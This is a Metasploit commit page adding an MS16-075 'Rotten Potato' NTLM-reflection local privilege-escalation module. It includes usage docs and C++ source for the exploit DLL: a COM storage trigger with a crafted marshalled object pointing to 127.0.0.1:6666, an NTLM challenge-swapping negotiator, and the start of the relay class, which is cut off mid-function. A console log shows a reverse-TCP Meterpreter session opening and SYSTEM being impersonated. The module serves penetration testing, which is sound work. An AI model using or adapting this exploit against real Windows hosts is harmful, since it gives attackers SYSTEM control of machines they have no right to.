Land #10418, Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL
Merge branch 'land-10418' into upstream-masterGSoC/Meterpreter_Web_Console
commit
28fb27187a
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,65 @@
|
||||||
|
## Intro
|
||||||
|
This module will abuse the SeImperonsate privilege commonly found in
|
||||||
|
services due to the requirement to impersonate a client upon
|
||||||
|
authentication. As such it is possible to impersonate the SYSTEM account
|
||||||
|
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
|
||||||
|
attack at which intercepts the hash and relay responses from RPC to be
|
||||||
|
able to establish a handle to a new SYSTEM token. Some caveats : Set
|
||||||
|
your target option to match the architecture of your Meterpreter
|
||||||
|
session, else it will inject the wrong architecture DLL into the process
|
||||||
|
of a seperate architecture. Additionally, after you have established a
|
||||||
|
session, you must use incognito to imperonsate the SYSTEM Token.
|
||||||
|
|
||||||
|
## Build Instructions
|
||||||
|
This builds using visual studio 2017 and tools v141. Attempts
|
||||||
|
to compile with previous verstions of build tools will succeed but
|
||||||
|
the resulting binary fails to exploit the vulnerability.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
You'll first need to obtain a session on the target system.
|
||||||
|
Next, once the module is loaded, one simply needs to set the
|
||||||
|
```payload``` and ```session``` options, in addition to architecture.
|
||||||
|
|
||||||
|
Your user at which you are trying to exploit must have `SeImpersonate`
|
||||||
|
privileges.
|
||||||
|
|
||||||
|
The module has a hardcoded timeout of 20 seconds, as the attack may
|
||||||
|
not work immediately and take a few seconds to start. Also, check to
|
||||||
|
make sure port 6666 is inherently not in use else the exploit will not
|
||||||
|
run properly
|
||||||
|
|
||||||
|
## Scenario
|
||||||
|
```
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
SESSION 48 yes The session to run this module on. Payload options
|
||||||
|
(windows/x64/meterpreter/reverse_tcp):
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
|
||||||
|
process, none)
|
||||||
|
LHOST ens3 yes The listen address (an interface may be specified)
|
||||||
|
LPORT 3312 yes The listen port Exploit target:
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
|
||||||
|
[*] Started reverse TCP handler on -snip-:3312
|
||||||
|
[*] Launching notepad to host the exploit... [+] Process 3564 launched.
|
||||||
|
[*] Reflectively injecting the exploit DLL into 3564...
|
||||||
|
[*] Injecting exploit into 3564...
|
||||||
|
[*] Exploit injected. Injecting payload into 3564...
|
||||||
|
[*] Payload injected. Executing exploit..
|
||||||
|
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||||
|
[*] Sending stage (206403 bytes) to -snip-
|
||||||
|
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400
|
||||||
|
meterpreter > load incognito
|
||||||
|
Loading extension incognito...Success.
|
||||||
|
meterpreter > impersonate_token
|
||||||
|
'NT AUTHORITY\SYSTEM'
|
||||||
|
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
|
||||||
|
Call rev2self if primary process token is SYSTEM
|
||||||
|
[-] No delegation token available
|
||||||
|
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
|
||||||
|
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,55 @@
|
||||||
|
## Intro
|
||||||
|
This module will abuse the SeImperonsate privilege commonly found in
|
||||||
|
services due to the requirement to impersonate a client upon
|
||||||
|
authentication. As such it is possible to impersonate the SYSTEM account
|
||||||
|
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
|
||||||
|
attack at which intercepts the hash and relay responses from RPC to be
|
||||||
|
able to establish a handle to a new SYSTEM token. Some caveats : Set
|
||||||
|
your target option to match the architecture of your Meterpreter
|
||||||
|
session, else it will inject the wrong architecture DLL into the process
|
||||||
|
of a seperate architecture. Additionally, after you have established a
|
||||||
|
session, you must use incognito to imperonsate the SYSTEM Token.
|
||||||
|
## Usage
|
||||||
|
You'll first need to obtain a session on the target system.
|
||||||
|
Next, once the module is loaded, one simply needs to set the
|
||||||
|
```payload``` and ```session``` options, in addition to architecture.
|
||||||
|
|
||||||
|
Your user at which you are trying to exploit must have `SeImpersonate`
|
||||||
|
privileges.
|
||||||
|
|
||||||
|
The module has a hardcoded timeout of 20 seconds, as the attack may
|
||||||
|
not work immediately and take a few seconds to start. Also, check to
|
||||||
|
make sure port 6666 is inherently not in use else the exploit will not
|
||||||
|
run properly
|
||||||
|
|
||||||
|
## Scenario
|
||||||
|
```
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
SESSION 48 yes The session to run this module on. Payload options
|
||||||
|
(windows/x64/meterpreter/reverse_tcp):
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
|
||||||
|
process, none)
|
||||||
|
LHOST ens3 yes The listen address (an interface may be specified)
|
||||||
|
LPORT 3312 yes The listen port Exploit target:
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
|
||||||
|
[*] Started reverse TCP handler on -snip-:3312 [*] Launching notepad to
|
||||||
|
host the exploit... [+] Process 3564 launched. [*] Reflectively
|
||||||
|
injecting the exploit DLL into 3564... [*] Injecting exploit into
|
||||||
|
3564... [*] Exploit injected. Injecting payload into 3564... [*] Payload
|
||||||
|
injected. Executing exploit... [+] Exploit finished, wait for (hopefully
|
||||||
|
privileged) payload execution to complete. [*] Sending stage (206403
|
||||||
|
bytes) to -snip- [*] Meterpreter session 49 opened (-snip-:3312 ->
|
||||||
|
-snip-:55306) at 2018-08-03 01:54:18 -0400 meterpreter > load incognito
|
||||||
|
Loading extension incognito...Success. meterpreter > impersonate_token
|
||||||
|
'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not
|
||||||
|
all tokens will be available
|
||||||
|
Call rev2self if primary process token is SYSTEM [-] No
|
||||||
|
delegation token available [+] Successfully impersonated user NT
|
||||||
|
AUTHORITY\SYSTEM meterpreter > getsystem -t 1 ...got system via
|
||||||
|
technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,32 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 15
|
||||||
|
VisualStudioVersion = 15.0.26403.7
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MSFRottenPotato", "MSFRottenPotato\MSFRottenPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Deploy.0 = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {F17C3DED-70DC-4318-B6D7-1477B2D4D79D}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,42 @@
|
||||||
|
#pragma once
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <mutex>
|
||||||
|
#include <queue>
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
typedef std::mutex Mutex;
|
||||||
|
template<typename ITEM> class BlockingQueue{
|
||||||
|
public:
|
||||||
|
void push(const ITEM& value) { // push
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
queue.push(std::move(value));
|
||||||
|
condition.notify_one();
|
||||||
|
}
|
||||||
|
bool try_pop(ITEM& value) { // non-blocking pop
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
if (queue.empty()) return false;
|
||||||
|
value = std::move(queue.front());
|
||||||
|
queue.pop();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ITEM wait_pop() { // blocking pop
|
||||||
|
std::unique_lock<Mutex> lock(mutex);
|
||||||
|
condition.wait(lock, [this] {return !queue.empty(); });
|
||||||
|
ITEM const value = std::move(queue.front());
|
||||||
|
queue.pop();
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
bool empty() const { // queue is empty?
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
return queue.empty();
|
||||||
|
}
|
||||||
|
void clear() { // remove all items
|
||||||
|
ITEM item;
|
||||||
|
while (try_pop(item));
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
Mutex mutex;
|
||||||
|
std::queue<ITEM> queue;
|
||||||
|
std::condition_variable condition;
|
||||||
|
};
|
||||||
|
|
|
@ -0,0 +1,143 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "IStorageTrigger.h"
|
||||||
|
#include <string>
|
||||||
|
#include <wchar.h>
|
||||||
|
|
||||||
|
IStorageTrigger::IStorageTrigger(IStorage *istg) {
|
||||||
|
_stg = istg;
|
||||||
|
m_cRef = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
|
||||||
|
*pSize = 1024;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
|
||||||
|
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
|
||||||
|
byte data[] = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,
|
||||||
|
0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,
|
||||||
|
0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,
|
||||||
|
0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,
|
||||||
|
0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
ULONG written = 0;
|
||||||
|
int szData = sizeof(data);
|
||||||
|
pStm->Write(&data, sizeof(data), &written);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
|
||||||
|
*ppv = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
|
||||||
|
_stg->Commit(grfCommitFlags);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
|
||||||
|
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
|
||||||
|
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
|
||||||
|
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
|
||||||
|
_stg->DestroyElement(pwcsName);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
|
||||||
|
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
|
||||||
|
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
|
||||||
|
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
|
||||||
|
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Revert() {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
|
||||||
|
_stg->Stat(pstatstg, grfStatFlag);
|
||||||
|
|
||||||
|
//Allocate from heap because apparently this will get freed in OLE32
|
||||||
|
const wchar_t c_s[] = L"hello.stg";
|
||||||
|
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
|
||||||
|
wcscpy(s, c_s);
|
||||||
|
pstatstg[0].pwcsName = s;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
///////////////////////IUknown Interface
|
||||||
|
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
|
||||||
|
// Always set out parameter to NULL, validating it first.
|
||||||
|
if (!ppvObj)
|
||||||
|
return E_INVALIDARG;
|
||||||
|
if (riid == IID_IUnknown)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
|
||||||
|
}
|
||||||
|
else if (riid == IID_IStorage)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
}
|
||||||
|
else if (riid == IID_IMarshal)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
*ppvObj = NULL;
|
||||||
|
return E_NOINTERFACE;
|
||||||
|
}
|
||||||
|
// Increment the reference count and return the pointer.
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG IStorageTrigger::AddRef() {
|
||||||
|
m_cRef++;
|
||||||
|
return m_cRef;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG IStorageTrigger::Release() {
|
||||||
|
// Decrement the object's internal counter.
|
||||||
|
ULONG ulRefCount = m_cRef--;
|
||||||
|
return ulRefCount;
|
||||||
|
}
|
|
@ -0,0 +1,35 @@
|
||||||
|
#pragma once
|
||||||
|
#include "Objidl.h"
|
||||||
|
|
||||||
|
class IStorageTrigger : public IMarshal, public IStorage {
|
||||||
|
private:
|
||||||
|
IStorage *_stg;
|
||||||
|
int m_cRef;
|
||||||
|
public:
|
||||||
|
IStorageTrigger(IStorage *stg);
|
||||||
|
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
|
||||||
|
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
|
||||||
|
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
|
||||||
|
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
|
||||||
|
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
|
||||||
|
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
|
||||||
|
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
|
||||||
|
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
|
||||||
|
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
|
||||||
|
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
|
||||||
|
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
|
||||||
|
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
|
||||||
|
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
|
||||||
|
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
|
||||||
|
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
|
||||||
|
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
|
||||||
|
HRESULT STDMETHODCALLTYPE Revert();
|
||||||
|
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
|
||||||
|
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
|
||||||
|
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
|
||||||
|
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
|
||||||
|
|
||||||
|
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
|
||||||
|
ULONG STDMETHODCALLTYPE AddRef();
|
||||||
|
ULONG STDMETHODCALLTYPE Release();
|
||||||
|
};
|
|
@ -0,0 +1,115 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "LocalNegotiator.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
LocalNegotiator::LocalNegotiator()
|
||||||
|
{
|
||||||
|
authResult = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
||||||
|
{
|
||||||
|
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
||||||
|
pSecBuffer->cbBuffer = 0;
|
||||||
|
pSecBuffer->pvBuffer = nullptr;
|
||||||
|
|
||||||
|
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
||||||
|
pSecBufferDesc->cBuffers = 1;
|
||||||
|
pSecBufferDesc->pBuffers = pSecBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
TCHAR lpPackageName[1024] = L"Negotiate";
|
||||||
|
TimeStamp ptsExpiry;
|
||||||
|
|
||||||
|
int status = AcquireCredentialsHandle(
|
||||||
|
NULL,
|
||||||
|
lpPackageName,
|
||||||
|
SECPKG_CRED_INBOUND,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
0,
|
||||||
|
NULL,
|
||||||
|
&hCred,
|
||||||
|
&ptsExpiry);
|
||||||
|
|
||||||
|
if (status != SEC_E_OK)
|
||||||
|
{
|
||||||
|
printf("Error in AquireCredentialsHandle");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||||
|
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||||
|
|
||||||
|
phContext = new CtxtHandle();
|
||||||
|
|
||||||
|
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||||
|
secClientBuffer.pvBuffer = ntlmBytes;
|
||||||
|
|
||||||
|
ULONG fContextAttr;
|
||||||
|
TimeStamp tsContextExpiry;
|
||||||
|
|
||||||
|
status = AcceptSecurityContext(
|
||||||
|
&hCred,
|
||||||
|
nullptr,
|
||||||
|
&secClientBufferDesc,
|
||||||
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||||
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||||
|
SECURITY_NATIVE_DREP,
|
||||||
|
phContext,
|
||||||
|
&secServerBufferDesc,
|
||||||
|
&fContextAttr,
|
||||||
|
&tsContextExpiry);
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
char* newNtlmBytes = (char*) secServerBuffer.pvBuffer;
|
||||||
|
if (len >= secServerBuffer.cbBuffer) {
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
{
|
||||||
|
if (i < secServerBuffer.cbBuffer) {
|
||||||
|
ntlmBytes[i] = newNtlmBytes[i];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ntlmBytes[i] = 0x00;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("Buffer sizes incompatible - can't replace");
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||||
|
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||||
|
|
||||||
|
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||||
|
secClientBuffer.pvBuffer = ntlmBytes;
|
||||||
|
|
||||||
|
ULONG fContextAttr;
|
||||||
|
TimeStamp tsContextExpiry;
|
||||||
|
int status = AcceptSecurityContext(
|
||||||
|
&hCred,
|
||||||
|
phContext,
|
||||||
|
&secClientBufferDesc,
|
||||||
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||||
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||||
|
SECURITY_NATIVE_DREP,
|
||||||
|
phContext,
|
||||||
|
&secServerBufferDesc,
|
||||||
|
&fContextAttr,
|
||||||
|
&tsContextExpiry);
|
||||||
|
|
||||||
|
authResult = status;
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
|
@ -0,0 +1,21 @@
|
||||||
|
#define SECURITY_WIN32
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <security.h>
|
||||||
|
#include <schannel.h>
|
||||||
|
class LocalNegotiator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
LocalNegotiator();
|
||||||
|
int handleType1(char* ntlmBytes, int len);
|
||||||
|
int handleType2(char* ntlmBytes, int len);
|
||||||
|
int handleType3(char* ntlmBytes, int len);
|
||||||
|
PCtxtHandle phContext;
|
||||||
|
int authResult;
|
||||||
|
|
||||||
|
private:
|
||||||
|
CredHandle hCred;
|
||||||
|
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
|
||||||
|
SecBuffer secClientBuffer, secServerBuffer;
|
||||||
|
};
|
||||||
|
|
|
@ -0,0 +1,374 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "MSFRottenPotato.h"
|
||||||
|
#include "IStorageTrigger.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#pragma comment (lib, "Ws2_32.lib")
|
||||||
|
#pragma comment (lib, "Mswsock.lib")
|
||||||
|
#pragma comment (lib, "AdvApi32.lib")
|
||||||
|
|
||||||
|
int CMSFRottenPotato::newConnection;
|
||||||
|
|
||||||
|
// This is the constructor of a class that has been exported.
|
||||||
|
// see MSFRottenPotato.h for the class definition
|
||||||
|
CMSFRottenPotato::CMSFRottenPotato()
|
||||||
|
{
|
||||||
|
comSendQ = new BlockingQueue<char*>();
|
||||||
|
rpcSendQ = new BlockingQueue<char*>();
|
||||||
|
newConnection = 0;
|
||||||
|
negotiator = new LocalNegotiator();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD CMSFRottenPotato::startRPCConnectionThread() {
|
||||||
|
DWORD ThreadID;
|
||||||
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
|
||||||
|
return ThreadID;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CMSFRottenPotato::startCOMListenerThread() {
|
||||||
|
DWORD ThreadID;
|
||||||
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
|
||||||
|
return ThreadID;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CMSFRottenPotato::staticStartRPCConnection(void* Param)
|
||||||
|
{
|
||||||
|
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
|
||||||
|
return This->startRPCConnection();
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CMSFRottenPotato::staticStartCOMListener(void* Param)
|
||||||
|
{
|
||||||
|
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
|
||||||
|
return This->startCOMListener();
|
||||||
|
}
|
||||||
|
|
||||||
|
int CMSFRottenPotato::findNTLMBytes(char *bytes, int len) {
|
||||||
|
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
|
||||||
|
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
|
||||||
|
//we can just return the index
|
